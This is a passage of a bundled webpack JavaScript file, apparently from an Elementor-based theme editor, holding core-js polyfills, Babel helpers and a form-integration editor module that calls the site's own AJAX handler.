		module.exports.f = function getOwnPropertyNames(it) {
			return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it));
		};


		/***/ }),
	/* 127 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(58)('asyncIterator');


		/***/ }),
	/* 128 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(58)('observable');


		/***/ }),
	/* 129 */,
	/* 130 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(131);

		/***/ }),
	/* 131 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(132);
		var $Object = __webpack_require__(2).Object;
		module.exports = function create(P, D) {
			return $Object.create(P, D);
		};


		/***/ }),
	/* 132 */
	/***/ (function(module, exports, __webpack_require__) {

		var $export = __webpack_require__(7);
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
		$export($export.S, 'Object', { create: __webpack_require__(37) });


		/***/ }),
	/* 133 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Object$setPrototypeOf = __webpack_require__(82);

		function _setPrototypeOf(o, p) {
			module.exports = _setPrototypeOf = _Object$setPrototypeOf || function _setPrototypeOf(o, p) {
				o.__proto__ = p;
				return o;
			};

			return _setPrototypeOf(o, p);
		}

		module.exports = _setPrototypeOf;

		/***/ }),
	/* 134 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(135);
		module.exports = __webpack_require__(2).Object.setPrototypeOf;


		/***/ }),
	/* 135 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.3.19 Object.setPrototypeOf(O, proto)
		var $export = __webpack_require__(7);
		$export($export.S, 'Object', { setPrototypeOf: __webpack_require__(136).set });


		/***/ }),
	/* 136 */
	/***/ (function(module, exports, __webpack_require__) {

// Works with __proto__ only. Old v8 can't work with null proto objects.
		/* eslint-disable no-proto */
		var isObject = __webpack_require__(9);
		var anObject = __webpack_require__(12);
		var check = function (O, proto) {
			anObject(O);
			if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!");
		};
		module.exports = {
			set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
				function (test, buggy, set) {
					try {
						set = __webpack_require__(32)(Function.call, __webpack_require__(36).f(Object.prototype, '__proto__').set, 2);
						set(test, []);
						buggy = !(test instanceof Array);
					} catch (e) { buggy = true; }
					return function setPrototypeOf(O, proto) {
						check(O, proto);
						if (buggy) O.__proto__ = proto;
						else set(O, proto);
						return O;
					};
				}({}, false) : undefined),
			check: check
		};


		/***/ }),
	/* 137 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(138);
		module.exports = __webpack_require__(2).Reflect.construct;


		/***/ }),
	/* 138 */
	/***/ (function(module, exports, __webpack_require__) {

// 26.1.2 Reflect.construct(target, argumentsList [, newTarget])
		var $export = __webpack_require__(7);
		var create = __webpack_require__(37);
		var aFunction = __webpack_require__(33);
		var anObject = __webpack_require__(12);
		var isObject = __webpack_require__(9);
		var fails = __webpack_require__(20);
		var bind = __webpack_require__(139);
		var rConstruct = (__webpack_require__(8).Reflect || {}).construct;

// MS Edge supports only 2 arguments and argumentsList argument is optional
// FF Nightly sets third argument as `new.target`, but does not create `this` from it
		var NEW_TARGET_BUG = fails(function () {
			function F() { /* empty */ }
			return !(rConstruct(function () { /* empty */ }, [], F) instanceof F);
		});
		var ARGS_BUG = !fails(function () {
			rConstruct(function () { /* empty */ });
		});

		$export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', {
			construct: function construct(Target, args /* , newTarget */) {
				aFunction(Target);
				anObject(args);
				var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]);
				if (ARGS_BUG && !NEW_TARGET_BUG) return rConstruct(Target, args, newTarget);
				if (Target == newTarget) {
					// w/o altered newTarget, optimization for 0-4 arguments
					switch (args.length) {
						case 0: return new Target();
						case 1: return new Target(args[0]);
						case 2: return new Target(args[0], args[1]);
						case 3: return new Target(args[0], args[1], args[2]);
						case 4: return new Target(args[0], args[1], args[2], args[3]);
					}
					// w/o altered newTarget, lot of arguments case
					var $args = [null];
					$args.push.apply($args, args);
					return new (bind.apply(Target, $args))();
				}
				// with altered newTarget, not support built-in constructors
				var proto = newTarget.prototype;
				var instance = create(isObject(proto) ? proto : Object.prototype);
				var result = Function.apply.call(Target, instance, args);
				return isObject(result) ? result : instance;
			}
		});


		/***/ }),
	/* 139 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var aFunction = __webpack_require__(33);
		var isObject = __webpack_require__(9);
		var invoke = __webpack_require__(105);
		var arraySlice = [].slice;
		var factories = {};

		var construct = function (F, len, args) {
			if (!(len in factories)) {
				for (var n = [], i = 0; i < len; i++) n[i] = 'a[' + i + ']';
				// eslint-disable-next-line no-new-func
				factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')');
			} return factories[len](F, args);
		};

		module.exports = Function.bind || function bind(that /* , ...args */) {
			var fn = aFunction(this);
			var partArgs = arraySlice.call(arguments, 1);
			var bound = function (/* args... */) {
				var args = partArgs.concat(arraySlice.call(arguments));
				return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that);
			};
			if (isObject(fn.prototype)) bound.prototype = fn.prototype;
			return bound;
		};


		/***/ }),
	/* 140 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(141);

		/***/ }),
	/* 141 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(142);
		module.exports = __webpack_require__(2).Object.getPrototypeOf;


		/***/ }),
	/* 142 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.9 Object.getPrototypeOf(O)
		var toObject = __webpack_require__(27);
		var $getPrototypeOf = __webpack_require__(65);

		__webpack_require__(69)('getPrototypeOf', function () {
			return function getPrototypeOf(it) {
				return $getPrototypeOf(toObject(it));
			};
		});


		/***/ }),
	/* 143 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Reflect$construct = __webpack_require__(83);

		function _isNativeReflectConstruct() {
			if (typeof Reflect === "undefined" || !_Reflect$construct) return false;
			if (_Reflect$construct.sham) return false;
			if (typeof Proxy === "function") return true;

			try {
				Date.prototype.toString.call(_Reflect$construct(Date, [], function () {}));
				return true;
			} catch (e) {
				return false;
			}
		}

		module.exports = _isNativeReflectConstruct;

		/***/ }),
	/* 144 */
	/***/ (function(module, exports, __webpack_require__) {

		var _typeof = __webpack_require__(86);

		var assertThisInitialized = __webpack_require__(66);

		function _possibleConstructorReturn(self, call) {
			if (call && (_typeof(call) === "object" || typeof call === "function")) {
				return call;
			}

			return assertThisInitialized(self);
		}

		module.exports = _possibleConstructorReturn;

		/***/ }),
	/* 145 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(68)('native-function-to-string', Function.toString);


		/***/ }),
	/* 146 */
	/***/ (function(module, exports, __webpack_require__) {

// 7.2.8 IsRegExp(argument)
		var isObject = __webpack_require__(24);
		var cof = __webpack_require__(42);
		var MATCH = __webpack_require__(13)('match');
		module.exports = function (it) {
			var isRegExp;
			return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp');
		};


		/***/ }),
	/* 147 */
	/***/ (function(module, exports, __webpack_require__) {

		var shared = __webpack_require__(68)('keys');
		var uid = __webpack_require__(67);
		module.exports = function (key) {
			return shared[key] || (shared[key] = uid(key));
		};


		/***/ }),
	/* 148 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Object$getOwnPropertyDescriptor = __webpack_require__(103);

		var _Object$defineProperty = __webpack_require__(0);

		var _typeof = __webpack_require__(86);

		var _WeakMap = __webpack_require__(243);

		function _getRequireWildcardCache() {
			if (typeof _WeakMap !== "function") return null;
			var cache = new _WeakMap();

			_getRequireWildcardCache = function _getRequireWildcardCache() {
				return cache;
			};

			return cache;
		}

		function _interopRequireWildcard(obj) {
			if (obj && obj.__esModule) {
				return obj;
			}

			if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") {
				return {
					"default": obj
				};
			}

			var cache = _getRequireWildcardCache();

			if (cache && cache.has(obj)) {
				return cache.get(obj);
			}

			var newObj = {};
			var hasPropertyDescriptor = _Object$defineProperty && _Object$getOwnPropertyDescriptor;

			for (var key in obj) {
				if (Object.prototype.hasOwnProperty.call(obj, key)) {
					var desc = hasPropertyDescriptor ? _Object$getOwnPropertyDescriptor(obj, key) : null;

					if (desc && (desc.get || desc.set)) {
						_Object$defineProperty(newObj, key, desc);
					} else {
						newObj[key] = obj[key];
					}
				}
			}

			newObj["default"] = obj;

			if (cache) {
				cache.set(obj, newObj);
			}

			return newObj;
		}

		module.exports = _interopRequireWildcard;

		/***/ }),
	/* 149 */
	/***/ (function(module, exports, __webpack_require__) {

		var ctx = __webpack_require__(32);
		var call = __webpack_require__(156);
		var isArrayIter = __webpack_require__(157);
		var anObject = __webpack_require__(12);
		var toLength = __webpack_require__(74);
		var getIterFn = __webpack_require__(150);
		var BREAK = {};
		var RETURN = {};
		var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) {
			var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable);
			var f = ctx(fn, that, entries ? 2 : 1);
			var index = 0;
			var length, step, iterator, result;
			if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!');
			// fast case for arrays with default iterator
			if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) {
				result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
				if (result === BREAK || result === RETURN) return result;
			} else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) {
				result = call(iterator, f, step.value, entries);
				if (result === BREAK || result === RETURN) return result;
			}
		};
		exports.BREAK = BREAK;
		exports.RETURN = RETURN;


		/***/ }),
	/* 150 */
	/***/ (function(module, exports, __webpack_require__) {

		var classof = __webpack_require__(109);
		var ITERATOR = __webpack_require__(11)('iterator');
		var Iterators = __webpack_require__(26);
		module.exports = __webpack_require__(2).getIteratorMethod = function (it) {
			if (it != undefined) return it[ITERATOR]
			                            || it['@@iterator']
			                            || Iterators[classof(it)];
		};


		/***/ }),
	/* 151 */
	/***/ (function(module, exports, __webpack_require__) {

// false -> Array#indexOf
// true  -> Array#includes
		var toIObject = __webpack_require__(76);
		var toLength = __webpack_require__(49);
		var toAbsoluteIndex = __webpack_require__(163);
		module.exports = function (IS_INCLUDES) {
			return function ($this, el, fromIndex) {
				var O = toIObject($this);
				var length = toLength(O.length);
				var index = toAbsoluteIndex(fromIndex, length);
				var value;
				// Array#includes uses SameValueZero equality algorithm
				// eslint-disable-next-line no-self-compare
				if (IS_INCLUDES && el != el) while (length > index) {
					value = O[index++];
					// eslint-disable-next-line no-self-compare
					if (value != value) return true;
					// Array#indexOf ignores holes, Array#includes - not
				} else for (;length > index; index++) if (IS_INCLUDES || index in O) {
					if (O[index] === el) return IS_INCLUDES || index || 0;
				} return !IS_INCLUDES && -1;
			};
		};


		/***/ }),
	/* 152 */
	/***/ (function(module, exports) {

// IE 8- don't enum bug keys
		module.exports = (
			'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'
		).split(',');


		/***/ }),
	/* 153 */
	/***/ (function(module, exports) {

		module.exports = {};


		/***/ }),
	/* 154 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(155);
		var $Object = __webpack_require__(2).Object;
		module.exports = function getOwnPropertyDescriptor(it, key) {
			return $Object.getOwnPropertyDescriptor(it, key);
		};


		/***/ }),
	/* 155 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
		var toIObject = __webpack_require__(18);
		var $getOwnPropertyDescriptor = __webpack_require__(36).f;

		__webpack_require__(69)('getOwnPropertyDescriptor', function () {
			return function getOwnPropertyDescriptor(it, key) {
				return $getOwnPropertyDescriptor(toIObject(it), key);
			};
		});


		/***/ }),
	/* 156 */
	/***/ (function(module, exports, __webpack_require__) {

// call something on iterator step with safe closing on error
		var anObject = __webpack_require__(12);
		module.exports = function (iterator, fn, value, entries) {
			try {
				return entries ? fn(anObject(value)[0], value[1]) : fn(value);
				// 7.4.6 IteratorClose(iterator, completion)
			} catch (e) {
				var ret = iterator['return'];
				if (ret !== undefined) anObject(ret.call(iterator));
				throw e;
			}
		};


		/***/ }),
	/* 157 */
	/***/ (function(module, exports, __webpack_require__) {

// check on default Array iterator
		var Iterators = __webpack_require__(26);
		var ITERATOR = __webpack_require__(11)('iterator');
		var ArrayProto = Array.prototype;

		module.exports = function (it) {
			return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);
		};


		/***/ }),
	/* 158 */,
	/* 159 */
	/***/ (function(module, exports, __webpack_require__) {

// 0 -> Array#forEach
// 1 -> Array#map
// 2 -> Array#filter
// 3 -> Array#some
// 4 -> Array#every
// 5 -> Array#find
// 6 -> Array#findIndex
		var ctx = __webpack_require__(63);
		var IObject = __webpack_require__(100);
		var toObject = __webpack_require__(93);
		var toLength = __webpack_require__(49);
		var asc = __webpack_require__(160);
		module.exports = function (TYPE, $create) {
			var IS_MAP = TYPE == 1;
			var IS_FILTER = TYPE == 2;
			var IS_SOME = TYPE == 3;
			var IS_EVERY = TYPE == 4;
			var IS_FIND_INDEX = TYPE == 6;
			var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;
			var create = $create || asc;
			return function ($this, callbackfn, that) {
				var O = toObject($this);
				var self = IObject(O);
				var f = ctx(callbackfn, that, 3);
				var length = toLength(self.length);
				var index = 0;
				var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;
				var val, res;
				for (;length > index; index++) if (NO_HOLES || index in self) {
					val = self[index];
					res = f(val, index, O);
					if (TYPE) {
						if (IS_MAP) result[index] = res;   // map
						else if (res) switch (TYPE) {
							case 3: return true;             // some
							case 5: return val;              // find
							case 6: return index;            // findIndex
							case 2: result.push(val);        // filter
						} else if (IS_EVERY) return false; // every
					}
				}
				return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
			};
		};


		/***/ }),
	/* 160 */
	/***/ (function(module, exports, __webpack_require__) {

// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
		var speciesConstructor = __webpack_require__(161);

		module.exports = function (original, length) {
			return new (speciesConstructor(original))(length);
		};


		/***/ }),
	/* 161 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(24);
		var isArray = __webpack_require__(162);
		var SPECIES = __webpack_require__(13)('species');

		module.exports = function (original) {
			var C;
			if (isArray(original)) {
				C = original.constructor;
				// cross-realm fallback
				if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;
				if (isObject(C)) {
					C = C[SPECIES];
					if (C === null) C = undefined;
				}
			} return C === undefined ? Array : C;
		};


		/***/ }),
	/* 162 */
	/***/ (function(module, exports, __webpack_require__) {

// 7.2.2 IsArray(argument)
		var cof = __webpack_require__(42);
		module.exports = Array.isArray || function isArray(arg) {
			return cof(arg) == 'Array';
		};


		/***/ }),
	/* 163 */
	/***/ (function(module, exports, __webpack_require__) {

		var toInteger = __webpack_require__(50);
		var max = Math.max;
		var min = Math.min;
		module.exports = function (index, length) {
			index = toInteger(index);
			return index < 0 ? max(index + length, 0) : min(index, length);
		};


		/***/ }),
	/* 164 */
	/***/ (function(module, exports, __webpack_require__) {

		var toInteger = __webpack_require__(50);
		var defined = __webpack_require__(43);
// true  -> String#at
// false -> String#codePointAt
		module.exports = function (TO_STRING) {
			return function (that, pos) {
				var s = String(defined(that));
				var i = toInteger(pos);
				var l = s.length;
				var a, b;
				if (i < 0 || i >= l) return TO_STRING ? '' : undefined;
				a = s.charCodeAt(i);
				return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff
					? TO_STRING ? s.charAt(i) : a
					: TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000;
			};
		};


		/***/ }),
	/* 165 */
	/***/ (function(module, exports, __webpack_require__) {

		var hide = __webpack_require__(21);
		module.exports = function (target, src, safe) {
			for (var key in src) {
				if (safe && target[key]) target[key] = src[key];
				else hide(target, key, src[key]);
			} return target;
		};


		/***/ }),
	/* 166 */
	/***/ (function(module, exports) {

		module.exports = function (it, Constructor, name, forbiddenField) {
			if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) {
				throw TypeError(name + ': incorrect invocation!');
			} return it;
		};


		/***/ }),
	/* 167 */,
	/* 168 */,
	/* 169 */,
	/* 170 */
	/***/ (function(module, exports, __webpack_require__) {

		var has = __webpack_require__(60);
		var toIObject = __webpack_require__(76);
		var arrayIndexOf = __webpack_require__(151)(false);
		var IE_PROTO = __webpack_require__(147)('IE_PROTO');

		module.exports = function (object, names) {
			var O = toIObject(object);
			var i = 0;
			var result = [];
			var key;
			for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key);
			// Don't enum bug & hidden keys
			while (names.length > i) if (has(O, key = names[i++])) {
				~arrayIndexOf(result, key) || result.push(key);
			}
			return result;
		};


		/***/ }),
	/* 171 */
	/***/ (function(module, exports, __webpack_require__) {

// 7.3.20 SpeciesConstructor(O, defaultConstructor)
		var anObject = __webpack_require__(23);
		var aFunction = __webpack_require__(84);
		var SPECIES = __webpack_require__(13)('species');
		module.exports = function (O, D) {
			var C = anObject(O).constructor;
			var S;
			return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S);
		};


		/***/ }),
	/* 172 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var anObject = __webpack_require__(23);
		var toLength = __webpack_require__(49);
		var advanceStringIndex = __webpack_require__(112);
		var regExpExec = __webpack_require__(107);

// @@match logic
		__webpack_require__(108)('match', 1, function (defined, MATCH, $match, maybeCallNative) {
			return [
				// `String.prototype.match` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.match
				function match(regexp) {
					var O = defined(this);
					var fn = regexp == undefined ? undefined : regexp[MATCH];
					return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
				},
				// `RegExp.prototype[@@match]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match
				function (regexp) {
					var res = maybeCallNative($match, regexp, this);
					if (res.done) return res.value;
					var rx = anObject(regexp);
					var S = String(this);
					if (!rx.global) return regExpExec(rx, S);
					var fullUnicode = rx.unicode;
					rx.lastIndex = 0;
					var A = [];
					var n = 0;
					var result;
					while ((result = regExpExec(rx, S)) !== null) {
						var matchStr = String(result[0]);
						A[n] = matchStr;
						if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode);
						n++;
					}
					return n === 0 ? null : A;
				}
			];
		});


		/***/ }),
	/* 173 */
	/***/ (function(module, exports, __webpack_require__) {

// 0 -> Array#forEach
// 1 -> Array#map
// 2 -> Array#filter
// 3 -> Array#some
// 4 -> Array#every
// 5 -> Array#find
// 6 -> Array#findIndex
		var ctx = __webpack_require__(32);
		var IObject = __webpack_require__(90);
		var toObject = __webpack_require__(27);
		var toLength = __webpack_require__(74);
		var asc = __webpack_require__(246);
		module.exports = function (TYPE, $create) {
			var IS_MAP = TYPE == 1;
			var IS_FILTER = TYPE == 2;
			var IS_SOME = TYPE == 3;
			var IS_EVERY = TYPE == 4;
			var IS_FIND_INDEX = TYPE == 6;
			var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;
			var create = $create || asc;
			return function ($this, callbackfn, that) {
				var O = toObject($this);
				var self = IObject(O);
				var f = ctx(callbackfn, that, 3);
				var length = toLength(self.length);
				var index = 0;
				var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;
				var val, res;
				for (;length > index; index++) if (NO_HOLES || index in self) {
					val = self[index];
					res = f(val, index, O);
					if (TYPE) {
						if (IS_MAP) result[index] = res;   // map
						else if (res) switch (TYPE) {
							case 3: return true;             // some
							case 5: return val;              // find
							case 6: return index;            // findIndex
							case 2: result.push(val);        // filter
						} else if (IS_EVERY) return false; // every
					}
				}
				return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
			};
		};


		/***/ }),
	/* 174 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(9);
		module.exports = function (it, TYPE) {
			if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!');
			return it;
		};


		/***/ }),
	/* 175 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(176);
		module.exports = __webpack_require__(2).Object.keys;


		/***/ }),
	/* 176 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.14 Object.keys(O)
		var toObject = __webpack_require__(27);
		var $keys = __webpack_require__(35);

		__webpack_require__(69)('keys', function () {
			return function keys(it) {
				return $keys(toObject(it));
			};
		});


		/***/ }),
	/* 177 */,
	/* 178 */,
	/* 179 */,
	/* 180 */,
	/* 181 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "Templates", {
			enumerable: true,
			get: function get() {
				return _templates.Templates;
			}
		});

		_Object$defineProperty(exports, "ConditionsConfig", {
			enumerable: true,
			get: function get() {
				return _conditionsConfig.ConditionsConfig;
			}
		});

		_Object$defineProperty(exports, "TemplatesConditions", {
			enumerable: true,
			get: function get() {
				return _templatesConditions.TemplatesConditions;
			}
		});

		_Object$defineProperty(exports, "TemplatesConditionsConflicts", {
			enumerable: true,
			get: function get() {
				return _templatesConditionsConflicts.TemplatesConditionsConflicts;
			}
		});

		var _templates = __webpack_require__(265);

		var _conditionsConfig = __webpack_require__(266);

		var _templatesConditions = __webpack_require__(267);

		var _templatesConditionsConflicts = __webpack_require__(268);

		/***/ }),
	/* 182 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(227);

		/***/ }),
	/* 183 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var regexpExec = __webpack_require__(102);
		__webpack_require__(51)({
			target: 'RegExp',
			proto: true,
			forced: regexpExec !== /./.exec
		}, {
			exec: regexpExec
		});


		/***/ }),
	/* 184 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(185);

		/***/ }),
	/* 185 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(186);
		module.exports = __webpack_require__(2).Reflect.get;


		/***/ }),
	/* 186 */
	/***/ (function(module, exports, __webpack_require__) {

// 26.1.6 Reflect.get(target, propertyKey [, receiver])
		var gOPD = __webpack_require__(36);
		var getPrototypeOf = __webpack_require__(65);
		var has = __webpack_require__(16);
		var $export = __webpack_require__(7);
		var isObject = __webpack_require__(9);
		var anObject = __webpack_require__(12);

		function get(target, propertyKey /* , receiver */) {
			var receiver = arguments.length < 3 ? target : arguments[2];
			var desc, proto;
			if (anObject(target) === receiver) return target[propertyKey];
			if (desc = gOPD.f(target, propertyKey)) return has(desc, 'value')
				? desc.value
				: desc.get !== undefined
					? desc.get.call(receiver)
					: undefined;
			if (isObject(proto = getPrototypeOf(target))) return get(proto, propertyKey, receiver);
		}

		$export($export.S, 'Reflect', { get: get });


		/***/ }),
	/* 187 */
	/***/ (function(module, exports, __webpack_require__) {

		var getPrototypeOf = __webpack_require__(25);

		function _superPropBase(object, property) {
			while (!Object.prototype.hasOwnProperty.call(object, property)) {
				object = getPrototypeOf(object);
				if (object === null) break;
			}

			return object;
		}

		module.exports = _superPropBase;

		/***/ }),
	/* 188 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var global = __webpack_require__(17);
		var dP = __webpack_require__(39);
		var DESCRIPTORS = __webpack_require__(22);
		var SPECIES = __webpack_require__(13)('species');

		module.exports = function (KEY) {
			var C = global[KEY];
			if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, {
				configurable: true,
				get: function () { return this; }
			});
		};


		/***/ }),
	/* 189 */
	/***/ (function(module, exports, __webpack_require__) {

		var def = __webpack_require__(39).f;
		var has = __webpack_require__(60);
		var TAG = __webpack_require__(13)('toStringTag');

		module.exports = function (it, tag, stat) {
			if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag });
		};


		/***/ }),
	/* 190 */,
	/* 191 */,
	/* 192 */,
	/* 193 */,
	/* 194 */,
	/* 195 */,
	/* 196 */,
	/* 197 */,
	/* 198 */
	/***/ (function(module, exports, __webpack_require__) {

		var global = __webpack_require__(17);
		var inheritIfRequired = __webpack_require__(228);
		var dP = __webpack_require__(39).f;
		var gOPN = __webpack_require__(232).f;
		var isRegExp = __webpack_require__(146);
		var $flags = __webpack_require__(89);
		var $RegExp = global.RegExp;
		var Base = $RegExp;
		var proto = $RegExp.prototype;
		var re1 = /a/g;
		var re2 = /a/g;
// "new" creates a new object, old webkit buggy here
		var CORRECT_NEW = new $RegExp(re1) !== re1;

		if (__webpack_require__(22) && (!CORRECT_NEW || __webpack_require__(30)(function () {
			re2[__webpack_require__(13)('match')] = false;
			// RegExp constructor can alter flags and IsRegExp works correct with @@match
			return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i';
		}))) {
			$RegExp = function RegExp(p, f) {
				var tiRE = this instanceof $RegExp;
				var piRE = isRegExp(p);
				var fiU = f === undefined;
				return !tiRE && piRE && p.constructor === $RegExp && fiU ? p
					: inheritIfRequired(CORRECT_NEW
						? new Base(piRE && !fiU ? p.source : p, f)
						: Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f)
						, tiRE ? this : proto, $RegExp);
			};
			var proxy = function (key) {
				key in $RegExp || dP($RegExp, key, {
					configurable: true,
					get: function () { return Base[key]; },
					set: function (it) { Base[key] = it; }
				});
			};
			for (var keys = gOPN(Base), i = 0; keys.length > i;) proxy(keys[i++]);
			proto.constructor = $RegExp;
			$RegExp.prototype = proto;
			__webpack_require__(31)(global, 'RegExp', $RegExp);
		}

		__webpack_require__(188)('RegExp');


		/***/ }),
	/* 199 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _stringify = _interopRequireDefault(__webpack_require__(182));

		var ElementEditorModule = __webpack_require__(413);

		module.exports = ElementEditorModule.extend({
			__construct: function __construct() {
				this.cache = {};

				ElementEditorModule.prototype.__construct.apply(this, arguments);
			},
			getName: function getName() {
				return '';
			},
			getCacheKey: function getCacheKey(args) {
				return (0, _stringify.default)({
					service: this.getName(),
					data: args
				});
			},
			fetchCache: function fetchCache(type, cacheKey, requestArgs) {
				var _this = this;

				return elementorPenci.ajax.addRequest('forms_panel_action_data', {
					unique_id: 'integrations_' + this.getName(),
					data: requestArgs,
					success: function success(data) {
						_this.cache[type] = _.extend({}, _this.cache[type]);
						_this.cache[type][cacheKey] = data[type];
					}
				});
			},
			updateOptions: function updateOptions(name, options) {
				var controlView = this.getEditorControlView(name);

				if (controlView) {
					this.getEditorControlModel(name).set('options', options);
					controlView.render();
				}
			},
			onInit: function onInit() {
				this.addSectionListener('section_' + this.getName(), this.onSectionActive);
			},
			onSectionActive: function onSectionActive() {
				this.onApiUpdate();
			},
			onApiUpdate: function onApiUpdate() {}
		});

		/***/ }),
	/* 200 */,
	/* 201 */,
	/* 202 */,
	/* 203 */,
	/* 204 */,
	/* 205 */,
	/* 206 */,
	/* 207 */,
	/* 208 */,
	/* 209 */,
	/* 210 */,
	/* 211 */,
	/* 212 */,
	/* 213 */,
	/* 214 */,
	/* 215 */,
	/* 216 */,
	/* 217 */,
	/* 218 */,
	/* 219 */,
	/* 220 */,
	/* 221 */,
	/* 222 */,
	/* 223 */,
	/* 224 */,
	/* 225 */,
	/* 226 */,
	/* 227 */
	/***/ (function(module, exports, __webpack_require__) {

		var core = __webpack_require__(2);
		var $JSON = core.JSON || (core.JSON = { stringify: JSON.stringify });
		module.exports = function stringify(it) { // eslint-disable-line no-unused-vars
			return $JSON.stringify.apply($JSON, arguments);
		};


		/***/ }),
	/* 228 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(24);
		var setPrototypeOf = __webpack_require__(229).set;
		module.exports = function (that, target, C) {
			var S = target.constructor;
			var P;
			if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) {
				setPrototypeOf(that, P);
			} return that;
		};


		/***/ }),
	/* 229 */
	/***/ (function(module, exports, __webpack_require__) {

// Works with __proto__ only. Old v8 can't work with null proto objects.
		/* eslint-disable no-proto */
		var isObject = __webpack_require__(24);
		var anObject = __webpack_require__(23);
		var check = function (O, proto) {
			anObject(O);
			if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!");
		};
		module.exports = {
			set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
				function (test, buggy, set) {
					try {
						set = __webpack_require__(63)(Function.call, __webpack_require__(230).f(Object.prototype, '__proto__').set, 2);
						set(test, []);
						buggy = !(test instanceof Array);
					} catch (e) { buggy = true; }
					return function setPrototypeOf(O, proto) {
						check(O, proto);
						if (buggy) O.__proto__ = proto;
						else set(O, proto);
						return O;
					};
				}({}, false) : undefined),
			check: check
		};


		/***/ }),
	/* 230 */
	/***/ (function(module, exports, __webpack_require__) {

		var pIE = __webpack_require__(231);
		var createDesc = __webpack_require__(88);
		var toIObject = __webpack_require__(76);
		var toPrimitive = __webpack_require__(98);
		var has = __webpack_require__(60);
		var IE8_DOM_DEFINE = __webpack_require__(96);
		var gOPD = Object.getOwnPropertyDescriptor;

		exports.f = __webpack_require__(22) ? gOPD : function getOwnPropertyDescriptor(O, P) {
